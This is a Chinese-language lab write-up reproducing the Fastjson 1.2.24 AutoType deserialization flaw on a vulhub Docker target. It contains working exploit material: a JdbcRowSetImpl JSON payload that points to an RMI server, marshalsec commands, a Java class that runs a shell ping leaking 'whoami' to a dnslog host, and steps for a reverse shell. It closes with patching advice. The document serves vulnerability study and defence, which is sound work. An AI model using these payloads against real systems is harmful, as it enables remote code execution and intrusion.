文章目录
- 1. 预备知识
- 2. 漏洞复现
- 2.1 漏洞介绍
- 2.2 漏洞原理分析
- 2.2.1 Fastjson序列化/反序列化原理
- 2.2.2 Fastjson反序列化漏洞原理
- 2.3 实验环境
- 2.3.1 靶场搭建
- 2.3.2 攻击机配置
- 2.3.3 Java反序列化工具marshalsec:
- 2.4 漏洞复现
- 2.4.1 漏洞探测
- 2.5 漏洞修复
1. 预备知识
Fastjson是一款高性能的Java JSON处理库,由阿里巴巴集团开发和维护。作为一个中间件,Fastjson提供了快速、灵活和可靠的JSON序列化和反序列化功能,使开发者能够在Java应用程序中轻松处理JSON数据。
Fastjson具有以下主要特性:
- 高性能:Fastjson是一个高性能的JSON处理库,具有快速的序列化和反序列化能力。它采用了一系列优化技术,如缓存机制、算法优化和数据结构设计,以实现最佳的性能。Fastjson在序列化和反序列化大型JSON数据时表现出色,是处理高吞吐量数据的理想选择。
- 灵活性:Fastjson提供了丰富的配置选项和灵活的使用方式。开发者可以通过注解、API调用或者配置文件来定义JSON与Java对象之间的映射关系。Fastjson支持复杂的数据结构,如嵌套对象、集合和数组等,以满足不同类型的数据处理需求。
- 数据转换:Fastjson支持将Java对象转换为JSON字符串,也支持将JSON字符串转换为Java对象。开发者可以轻松地进行对象到JSON的转换和JSON到对象的转换,无需繁琐的手动操作。Fastjson还提供了便捷的数据格式化功能,如日期格式化、数字精度控制和空值处理等。
- 安全性:Fastjson在数据处理过程中注重安全性。它提供了防止JSON注入攻击的机制,避免恶意JSON数据对系统造成损害。Fastjson支持过滤器功能,可以控制和限制特定类型的数据访问,提供更加安全的数据处理环境。
- 社区支持:Fastjson拥有庞大的用户和开发者社区,提供了广泛的文档资源、示例代码和技术支持。开发者可以通过社区获取帮助、解决问题,并分享自己的经验和贡献。Fastjson持续更新和改进,致力于提供更好的性能和功能。
Fastjson作为一款成熟的JSON处理库,被广泛应用于Java开发领域。它在各种场景下都能提供高效、可靠的JSON数据处理能力,包括Web应用程序、分布式系统、移动应用和大数据处理等。通过使用Fastjson,开发者可以轻松地处理和操作JSON数据,实现高效的数据交换和处理。
2. 漏洞复现
2.1 漏洞介绍
FastJson 库是 Java 的一个 Json 库,其作用是将 Java 对象转换成 json 数据来表示,也可以将 json 数据转换成 Java 对象,使用非常方便,号称是执行速度最快的库。
在 1.2.24 版本的 Fastjson 出现了一个反序列化的漏洞,fastjson 在解析 json 的过程中,支持使用 autoType 来实例化某一个具体的类,并调用该类的 set/get 方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
2.2 漏洞原理分析
2.2.1 Fastjson序列化/反序列化原理
Fastjson的漏洞本质还是一个java的反序列化漏洞,由于引进了AutoType功能,fastjson在对json字符串反序列化的时候,会读取到@type的内容,将json内容反序列化为java对象并调用这个类的setter方法。
那么为什么要引进AutoType功能呢?
fastjson在序列化以及反序列化的过程中并没有使用Java自带的序列化机制,而是自定义了一套机制。其实,对于JSON框架来说,想要把一个Java对象转换成字符串,可以有两种选择:
1.基于setter/getter
2.基于属性(AutoType)
基于setter/getter会带来什么问题呢,下面举个例子,假设有如下两个类:
class Apple implements Fruit {
private Big_Decimal price;
//省略 setter/getter、toString等
}
class iphone implements Fruit {
private Big_Decimal price;
//省略 setter/getter、toString等
}
实例化对象之后,假设苹果对象的price为0.5,Apple类对象序列化为json格式后为:
{"Fruit":{"price":0.5}}
假设iphone对象的price为5000,序列化为json格式后为:
{"Fruit":{"price":5000}}
当一个类只有一个接口的时候,将这个类的对象序列化的时候,就会将子类抹去(apple/iphone)只保留接口的类型(Fruit),最后导致反序列化时无法得到原始类型。本例中,将两个json再反序列化生成java对象的时候,无法区分原始类是apple还是iphone。
为了解决上述问题: fastjson引入了基于属性(AutoType),即在序列化的时候,先把原始类型记录下来。使用@type的键记录原始类型,在本例中,引入AutoType后,Apple类对象序列化为json格式后为:
{ "fruit":{ "@type":"com.hollis.lab.fastjson.test.Apple", "price":0.5 } }
引入AutoType后,iphone类对象序列化为json格式后为:
{ "fruit":{ "@type":"com.hollis.lab.fastjson.test.iphone", "price":5000 } }
这样在反序列化的时候就可以区分原始的类了。
2.2.2 Fastjson反序列化漏洞原理
使用AutoType功能进行序列号的JSON字符会带有一个@type来标记其字符的原始类型,在反序列化的时候会读取这个@type,来试图把JSON内容反序列化到对象,并且会调用这个库的setter或者getter方法,然而,@type的类有可能被恶意构造,只需要合理构造一个JSON,使用@type指定一个想要的攻击类库就可以实现攻击。
常见的有sun官方提供的一个类com.sun.rowset.JdbcRowSetImpl,其中有个dataSourceName方法支持传入一个rmi的源,只要解析其中的url就会支持远程调用!因此整个漏洞复现的原理过程就是:
1、攻击者访问存在fastjson漏洞的目标靶机网站,通过burpsuite抓包改包,以json格式添加com.sun.rowset.JdbcRowSetImpl恶意类信息发送给目标机。
2、存在漏洞的靶机对json反序列化时候,会加载执行我们构造的恶意信息(访问rmi服务器),靶机服务器就会向rmi服务器请求待执行的命令。
3、rmi 服务器请求加载远程机器的class(这个远程机器是我们搭建好的恶意站点,提前将漏洞利用的代码编译得到.class文件,并上传至恶意站点),得到攻击者(我们)构造好的命令(ping dnslog或者创建文件或者反弹shell之类的)
4、rmi将远程加载得到的class(恶意代码),作为响应返回给靶机服务器。
5、靶机服务器执行了恶意代码,被攻击者成功利用。
按照理解画了如下的图,大致解释一下整个流程:
2.3 实验环境
本实验用kali虚拟机使用docker搭建vulhub靶场,复现fastjson1.2.24
- fastjson<=1.2.24
- VPS(kali-linux-2023.1)
- 工具:marshalsec,burpsuit,dnslog平台
2.3.1 靶场搭建
进入对应的目录后,使用docker-compose up –d命令启动靶场:
然后用docker ps查看对应的容器端口号,如下图,端口为8090
用ifconfig查看虚拟机ip,可看到kali的ip为192.168.10.132,浏览器访问虚拟机ip:8090,页面显示如下:
即可看到JSON格式的输出,靶场搭建成功。
2.3.2 攻击机配置
操作系统:kali-linux-2023.1
配置Java环境:
在复现的过程中出现了许多的问题,在最后发送bp改过的数据包之后,一直无法获取shell,也无法创建文件,后来发现是java和javac的版本问题,要保证是1.8的版本,高版本不适用。
官网下载java8jdk,解压后配置环境变量
重新载入profile生效:source /etc/profile
通过 java -version以及javac -version即可看到是否安装完成:
2.3.3 Java反序列化工具marshalsec:
安装marshalsec需要先安装:maven
下载:wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
解压:
mkdir /opt/maven tar zxvf apache-maven-3.6.3-bin.tar.gz -C /opt/maven/
配置环境变量:vim /etc/profile
验证maven是否安装成功:mvn -version
下载:git clone https://github.com/mbechler/marshalsec.git cd marshalsec/ 编译项目:mvn clean package –DskipTests
编译成功后进入target目录:cd target/ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://(启动python服务的ip):(启动python服务的端口)/#dnslog” 9999
2.4 漏洞复现
2.4.1 漏洞探测
访问8090靶场环境,抓包,修改POST请求方式,发送一个post请求,发送的数据为没闭合的花括号,如果服务器没有屏蔽错误信息则会报出fastjson的信息
通过返回包报错信息看出是fastjson框架
接下来使用在线dnslog平台https://dig.pm/配置dnslog:
以同样的方式抓包,修改为POST请求方式,并将Content-Type修改为application/json格式,然后发送的数据内容为• {“zeo”:{“@type”:“java.net.Inet4Address”,“val”:“dnslog”}},dnslog修改为刚才得到的子域名,可以看到响应状态码为200
刷新dnslog,发现有访问,说明存在fastjson反序列化漏洞
5.4.2 漏洞利用
利用dnslog探测是否出网:
在攻击机上创建dnslog.java,主要执行的语句为:String[] commands = { “/bin/sh”, “-c”, “ping user.whoami.874dad2f.ipv6.1433.eu.org“};,即向dnslog平台发起ping,
import java.lang.Runtime;
import java.lang.Process;
public class dnslog{
static {
try {
Runtime rt = Runtime.getRuntime();
String[]commands={“/bin/sh”,“-c”,“ping user.`whoami`.874dad2f.ipv6.1433.eu.org“};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
javac dnslog.java编译生成dnslog.class文件,传到外网系统中(这里传到kali服务器中)
在class文件所在的目录,Python起一个http服务。用4444端口启动http服务的命令为:python -m http.server 4444
然后查看此网址,会看到网站服务器的目录:http://虚拟机ip:4444/
接下来使用marshalsec项目,启动RMI服务,监听9999端口并加载远程类
dnslog.class:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.10.132:4444/#dnslog" 9999
刷新靶场(http://192.168.10.132:8090)的链接,抓包后改GET包为POST包(右键->变更请求方法),然后在发送的请求数据包中改为以下payload:
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.10.132:9999/dnslog",
"autoCommit":true
}
}
可以看到靶场向rmi服务器发起请求,从http服务器下载dnslog.class并执行,刷新dnslog平台,可以看到有新的访问记录,靶场出网成功
远程创建文件:
尝试在靶场目录tmp创建successFrank文件
javac TouchFile.java编译生成TouchFile.class文件,重启http服务器
抓包,原理和上述相同,只需要修改payload如下:
响应状态码为500,可以看到靶场向rmi服务器发起请求,从http服务器下载TouchFile.class并执行
检测tmp目录是否成功创建了successFrank文件
反弹shell的获取:
基本思路和前面是一样的,改一下恶意站点的java代码
重启http服务器和rmi服务器
另起一个终端,开启之前恶意java代码中写的的7777端口,进行监听:nc -lvnp 7777
修改payload:
正在监听7777端口的终端,反弹shell获取成功,已经可以执行任何命令了
漏洞复现成功!
2.5 漏洞修复
- fastjson 版本至少升级到 1.2.58
- 及时升级Java环境版本
- WAF拦截规则,设置白名单